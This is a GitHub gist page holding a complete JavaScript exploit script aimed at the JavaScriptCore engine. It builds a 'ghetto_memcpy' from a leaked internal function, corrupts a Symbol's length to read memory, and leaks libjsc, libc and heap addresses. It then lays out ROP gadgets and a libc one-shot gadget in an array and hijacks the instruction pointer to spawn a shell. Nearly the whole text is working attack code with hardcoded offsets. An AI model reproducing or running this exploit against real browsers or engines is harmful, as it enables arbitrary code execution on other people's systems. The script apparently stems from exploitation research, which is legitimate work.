Skip to content

Instantly share code, notes, and snippets.

@yrp604
Last active September 25, 2019 09:24
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yrp604/5ef4996357e78da237be3727808174a0 to your computer and use it in GitHub Desktop.
Save yrp604/5ef4996357e78da237be3727808174a0 to your computer and use it in GitHub Desktop.
zildjian.js
load('utils.js')
load('int64.js')
print('setting up ghetto_memcpy()...');
function make_memcpy() {
let p;
function g() {
p = g.caller;
return 'A';
}
let a = [1,2,3];
Object.defineProperty(a, '0', {get: g});
a.concat([4]);
return p;
}
let ghetto_memcpy = make_memcpy();
print('done:\n' + ghetto_memcpy);
print('');
let busted_len_dbl = new Int64('0000ffff' + '00000002').asDouble(); //length: ffff refcount: 2
let normal_len_dbl = new Int64('00000008' + '00000002').asDouble(); //length: 8 refcount: 2
print('setting up read primitives...');
// this is single use, it corrupts the symbol in a weird way I havent root caused
let symbol = 'AAAAAAAA';
let leak_obj = Symbol.for(symbol);
function leak_str_base() {
function read_n_rel(sz, out) {
if (sz == undefined) sz = 8;
if (out == undefined) out = new Uint8Array(sz);
ghetto_memcpy(leak_obj, [busted_len_dbl], 0);
// strlen('Symbol(') == 7
for (let i = 0; i < sz; i++) out[i] = leak_obj.toString().charCodeAt(7 + i);
return out;
}
let leak = read_n_rel(28).slice(-8);
return Sub(new Int64(leak), new Int64('0x20'));
}
function read_n(target, sz, out) {
if (sz == undefined) sz = 8;
if (out == undefined) out = new Uint8Array(sz);
let target_dbl;
switch (typeof target) {
case 'string':
target_dbl = new Int64(target).asDouble();
break;
case 'object':
target_dbl = target.asDouble();
break;
default:
throw 'unknown target type';
}
let x = Symbol('xxxxxxxxx');
// we need to do this, because otherwise sometimes the array shape doesnt
// end up as continuous doubles
let y = [];
y.push(busted_len_dbl);
y.push(target_dbl);
ghetto_memcpy(x, y, 0);
let s = x.toString();
// strlen('Symbol(') == 7
try {
for (let i = 0; i < sz; i++) {
let z = s.charCodeAt(7 + i);
if (z > 0xff) throw 'char out of range';
out[i] = z;
}
} catch (e) {
let out_idx = 0;
for (let i = 0; out_idx < sz; i++) {
let z = s.charCodeAt(7 + i);
out[out_idx++] = z & 0xff;
out[out_idx++] = (z >> 8) & 0xff;
}
}
ghetto_memcpy(x, [normal_len_dbl], 0);
return out;
}
print('done.');
print('');
print('leaking string addr...');
let leaked_str = leak_str_base();
print('string @ ' + leaked_str);
print('');
print('leaking jsc base...');
// this offset has to be adjusted alllll the time, because were fucking around
// in the middle of the symbol registry (i think).
let libjsc_leak = Sub(leaked_str, new Int64('0x7b4'));
print('reading @ ' + libjsc_leak);
let libjsc_data = new Int64(read_n(libjsc_leak));
print('libjsc .data leak: ' + libjsc_data);
let libjsc_text = Sub(libjsc_data, new Int64('0xc30f28'));
print('libjsc .text @ ' + libjsc_text);
let zero_r8 = Add(libjsc_text, new Int64('0x333503')); // ends in call rax+0xf8
let write_stack = Add(libjsc_text, new Int64('0x5f6705')); // ends in call rax+0x60
let libc = Sub(libjsc_text, new Int64('0x3152000'));
print('libc @ ' + libc);
let one_gadget = Add(libc, new Int64('0x41c22')); // [rsp + 0x30] == NULL
print('one gadget @ ' + one_gadget);
print('');
print('leaking butterfly arena...');
let heap_leak = Sub(leaked_str, new Int64('0xc2c'));
print('reading @ ' + heap_leak);
let btrfly_arena_leak = new Int64(read_n(heap_leak));
print('buttefly arena leak: ' + btrfly_arena_leak);
print('');
function find_off_hex(data, a) {
function find_off(data, a) {
for (let i = 0; i < data.length - a.length; i++) {
let found = true;
for (let j = 0; j < a.length && found; j++) {
if (data[i + j] != a[j]) found = false;
}
if (found) return i;
}
throw 'find_off() could not find: ' + a;
}
return '0x' + find_off(data, a).toString(16);
}
function find_off_addr(base, data, a) {
return Add(base, new Int64(find_off_hex(data, a)));
}
let tagA = new Int64('0x5441474154414741');
let known_loc = [];
for (let i = 0; i < (0xf8 - 0x48); i += 8) known_loc.push(new Int64('0x5151515151515151').asDouble());
/*
* array needs to look like
* [
* ...
* +0x48: zero r8
* ...
* +0x60: one_gadget
* ...
* +0xf8: write_stack
* ]
*
* call order is:
* zero r8 -> write stack -> one gadget
*/
known_loc[(0x48 - 0x48) / 8] = tagA.asDouble(); // replace with zero_r8 after we have it...
known_loc[(0x60 - 0x48) / 8] = one_gadget.asDouble();
known_loc[(0xf8 - 0x48) / 8] = write_stack.asDouble();
print('searching for butterfly in butterfly arena...');
let btrfly_search_base = Add(btrfly_arena_leak, new Int64('0x9560'));
print('butterfly search base: ' + btrfly_search_base);
let btrfly_arena = read_n(btrfly_search_base, 0xffff);
let btrfly = find_off_addr(btrfly_search_base, btrfly_arena, tagA.bytes());
print('found butterfly @ ' + btrfly);
print('');
print('replacing array search tag with one shot gadget...')
known_loc[0] = zero_r8.asDouble();
print('setting up take_rip...');
function make_take_rip() {
let q;
function f() { q = f.caller; return 0xee; }
let inf = new Intl.NumberFormat();
inf.format({valueOf: f});
return q;
}
var take_rip = make_take_rip();
print('done:\n' + take_rip);
let call_target = Sub(btrfly, 0x48);
print('setting up call target: ' + call_target);
let ct = hexlify(call_target.bytes());
print('getting a shell... enjoy :)');
take_rip.call({a: new Int64(ct)});
// dbg();
print('something went wrong :(');
print('fin.');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment